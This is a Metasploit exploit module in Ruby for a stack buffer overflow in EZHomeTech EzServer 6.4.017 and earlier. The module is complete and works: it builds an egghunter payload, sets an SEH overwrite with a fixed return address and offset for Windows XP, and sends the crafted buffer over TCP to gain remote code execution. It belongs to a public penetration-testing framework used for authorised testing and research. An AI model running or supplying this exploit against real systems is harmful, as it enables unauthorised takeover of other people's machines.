##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EZHomeTech EzServer Stack Buffer Overflow Vulnerability',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the EZHomeTech EZServer
        for versions 6.4.017 and earlier. If a malicious user sends packets
        containing an overly long string, it may be possible to execute a
        payload remotely. Due to size constraints, this module uses the
        Egghunter technique.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '83065' ],
          [ 'BID', '54056' ],
          [ 'EDB', '19266' ],
          [ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
            {
              'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
              'Offset' =>	5852
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jun 18 2012',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(8000)], self.class)

  end

  def exploit
    connect
    eggoptions =
    {
      :checksum => true,
      :eggtag => "w00t"
    }

    hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
    egg = hunter[1]
    buff = rand_text(target['Offset'] - egg.length) #junk
    buff << egg
    buff << make_nops(32)
    buff << generate_seh_record(target.ret)
    buff << make_nops(16)
    buff << hunter[0]
    buff << rand_text_alpha_upper(500)

    print_status("Triggering shellcode now...")
    print_status("Please be patient, the egghunter may take a while..")

    sock.put(buff)

    handler
    disconnect

  end
end
